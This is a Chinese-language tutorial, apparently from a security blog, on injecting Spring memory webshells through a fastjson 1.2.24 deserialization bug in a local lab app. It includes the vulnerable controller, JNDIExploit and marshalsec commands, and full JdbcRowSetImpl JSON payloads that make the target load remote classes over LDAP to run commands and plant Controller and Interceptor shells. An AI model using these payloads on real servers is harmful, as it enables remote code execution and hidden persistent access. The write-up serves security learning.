新手友好,spring内存马学习篇二

反序列化注入内存马

Fastjson靶场搭建

我们在前面的springboot项目上引入fastjson,模拟一下漏洞环境

<dependency>
  <groupId>com.alibaba</groupId>
  <artifactId>fastjson</artifactId>
  <version>1.2.24</version>
</dependency>

新建一个FastJsonController控制器,指定post请求方式,触发恶意代码

package org.example.springmemory.controller;

import com.alibaba.fastjson.JSON;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;


@Controller
public class FastJsonController {

  @ResponseBody
  @RequestMapping(value = "/FastJson", method = RequestMethod.POST)
  public String test(@RequestBody String vul){
      System.out.println(vul);
      JSON.parseObject(vul);
      return vul;
  }
}

使用简易payload测试效果,可以看见是没有问题的

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 0.0.0.0

POST /FastJson HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 273
Content-Type: application/json; charset=utf-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9

{
  "a":{
      "@type":"java.lang.Class",
      "val":"com.sun.rowset.JdbcRowSetImpl"
  },
  "b":{
      "@type":"com.sun.rowset.JdbcRowSetImpl",
      "dataSourceName":"ldap://192.168.1.8:1389/Basic/Command/calc",
      "autoCommit":true
  }
}

Controller内存马

Class编写

由于前面在分析该内存马的时候,都是在java文件里面编写的,不像《Tomcat内存马》使用jsp编写,还需要转换语法。这里直接在项目根目录新建一个文件,把代码copy过来即可

这里用的是addController2代码,已经补充在 Controller小节,一开始我是用的addController代码,执行不成功,被他坑了好久,后面debug才发现问题所在

先把恶意代码复制过来,这里不用内部类了,直接把方法写在本类

老样子,在类的static里面写,用try/catch捕获异常

复制过来记得把类名改一下

下面两个地方修改即可。没有用内部类,那个exec方法现在就在本类,所以类方法所在类是本类,包括下面new的时候也是一样,new本类。

启动项目,编译没有问题,这里我提前访问了一下shell地址,确保不是等一下打不是缓存,现在是没有这个路径的

运行内存马

我们找到ControllerMemory文件所在目录启动http服务,用marshalsec工具挂载ldap服务

发送payload,看见所有请求正常

执行成功了

Interception内存马

Class编写

新建一个InterceptorMemory类,继承HandlerInterceptor类,把前面的ShellInterception类代码复制过来

在InterceptorMemory类里面写入执行恶意代码部分,我们的static部分,把controller下的ShellInterceptor的执行部分复制过来

项目能正常启动并且也编译成功了

运行内存马

我们找到InterceptorMemory文件所在目录启动http服务,用marshalsec工具挂载ldap服务

发送payload,看见所有请求正常

POST /FastJson HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 272
Content-Type: application/json; charset=utf-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9

{
  "a":{
      "@type":"java.lang.Class",
      "val":"com.sun.rowset.JdbcRowSetImpl"
  },
  "b":{
      "@type":"com.sun.rowset.JdbcRowSetImpl",
      "dataSourceName":"ldap://192.168.1.8:9999/InterceptorMemory",
      "autoCommit":true
  }
}

执行成功了

参考&鸣谢

https://spring.io/

https://goodapple.top/archives/1355#leftbar_tab_catalog

https://blog.csdn.net/Daisy74RJ/article/details/106565657

https://blog.csdn.net/aiains/article/details/139217733

# web安全 # 内存马
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
已在FreeBuf发表 0 篇文章
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
原始链接: https://www.freebuf.com/articles/web/424441.html
侵权请联系站方: [email protected]

相关推荐

换一批